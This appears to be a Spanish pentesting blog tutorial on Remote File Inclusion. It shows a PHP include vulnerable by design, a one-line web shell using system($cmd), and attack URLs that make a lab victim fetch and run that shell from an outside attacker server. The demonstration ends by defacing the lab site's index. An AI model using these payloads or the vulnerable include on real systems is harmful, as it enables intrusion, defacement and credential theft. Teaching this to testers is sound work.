Artículo · Pentesting a Aplicaciones Web

Explotando la Vulnerabilidad RFI

Samuel EstebanSamuel Esteban 2 min de lectura
Explotando la Vulnerabilidad RFI

La vulnerabilidad RFI (Remote File Inclusion) permite a un atacante ejecutar archivos remotos alojados en otros servidores.

Por ejemplo, se tiene el siguiente sitio web:

Estructura:

seccion.php

<?php
include $_REQUEST['id'];
?>

El parámetro se pasaría de esta forma:

http://www.victima.com/seccion.php?id=home

Se podría testear la vulnerabilidad, agregando un archivo remoto al parámetro id de la siguiente manera:

 

http://www.victima.com/seccion.php?id=http://www.serveratacante.com/shell.txt&&cmd=ls

Ejemplo:

shell.txt

<?
system($cmd)
?>

 

Con esto le estamos diciendo a la aplicación, que ejecute la shell del servidor atacante ejecutando el comando ls para listar archivos del servidor víctima, la diferencia principal con la vulnerabilidad LFI, es que esta vulnerabilidad funciona a través de una petición con un servidor web externo, mientras que la vulnerabilidad LFI solo funciona directamente contra el servidor web víctima. A continuación veremos un ejemplo más práctico sobre dicha vulnerabilidad.

 

Sitio Web aparentemente vulnerable

 

Para probar esta vulnerabilidad agregaremos el sitio web, https://www.google.cl, de tal manera que, si el aplicativo es vulnerable, nos debería mostrar el sitio web de google dentro del sitio web víctima. Por lo tanto el vector de ataque, quedaría de la siguiente forma:

http://192.168.1.40/dvws/vulnerabilities/fi/?page=http://www.google.cl/

 

Sitio Web vulnerable a RFI

A continuación utilizaremos un servidor atacante el cual tendrá una shell para que posteriormente sea ejecutada en el servidor web de la víctima.

http://192.168.1.40/dvws/vulnerabilities/fi/?page=192.168.1.8/shell.txt

 

Shell en Servidor Víctima

El servidor víctima interpretó dicha extensión txt como php, por ende al intentar recuperar un archivo de un servidor web externo, este es procesado como php y cómo es posible observar tenemos la shell en el servidor víctima, finalmente editamos el index para reflejar el fallo de seguridad.

Editando Index

 

 

Una vez que se tiene acceso a través de la shell, se pueden obtener contraseñas, modificar archivos, acceder a contenidos ocultos, etc.

 

¿Quieres aprender estas técnicas en profundidad?

Continúa tu ruta con Web Application Testing.

Samuel Esteban

Escrito por

Samuel Esteban

Senior Pentester

Actualmente me desempeño como Pentester...

Sigue leyendo

API keys de IA: cómo protegerlas tras el caso OpenCode
Pentesting a Aplicaciones Web

API keys de IA: cómo protegerlas tras el caso OpenCode

Paola Mc Guire Cancino

Una API key expuesta puede permitir que terceros utilicen servicios de inteligencia artificial a tu nombre, generen consumos inesperados o accedan a recursos autorizados. El caso de OpenCode Console muestra por qué es importante proteger estas credenciales.

Sqlmap - ejemplo con metasploitable2
Pentesting a Aplicaciones Web

Sqlmap - ejemplo con metasploitable2

MMartin Frias

Hola, soy Martin Frias y en esta vez hablaré un poco sobre Sqlmap, Sqlmap es una herramienta que permite automatizar las inyecciones sql. La inyección sql es una vulnerabilidad que nos permite la inyección de código sql para que pueda ser ejecutado e interpretado y así obtener información de la base de datos, información a la que normalmente no deberíamos tener acceso, yo recomiendo fuertemente aprender lenguaje sql, para poder saber hacer inyecciones slq de forma manual, de manera que  si vas a usar herramientas automatizadas como sqlmap, por ejemplo, que sea por ahorrar algo de tiempo, porque siempre es mejor saber qué está haciendo un herramienta por detrás, no solo escribir un comando y no saber exactamente qué acabamos de hacer.

Portainer es una herramienta web open-source: Gestor Web para Docker
Pentesting a Aplicaciones Web

Portainer es una herramienta web open-source: Gestor Web para Docker

Javier Candia

En los últimos años, las tecnologias de irutalizacioon de servicios y plataformas ha tomado poder en el mundo de las implementaciones. Uno de ellos es Docker, el cuál nos permite automatizar el despliegue de aplicaciones dentro de contenedores de software. A grandes ragos, Docker permite meter en un contenedor (un entorno cerrado) aquellas cosas que mi aplicación necesita para ser ejecutada (java, Maven, tomcat…) y la propia aplicación. Ese contenedor puede llevarse a cualquier máquina que tenga instalado Docker y ejecutar la aplicación independientemente de qué sistema operativo es, de si son compatibles o no.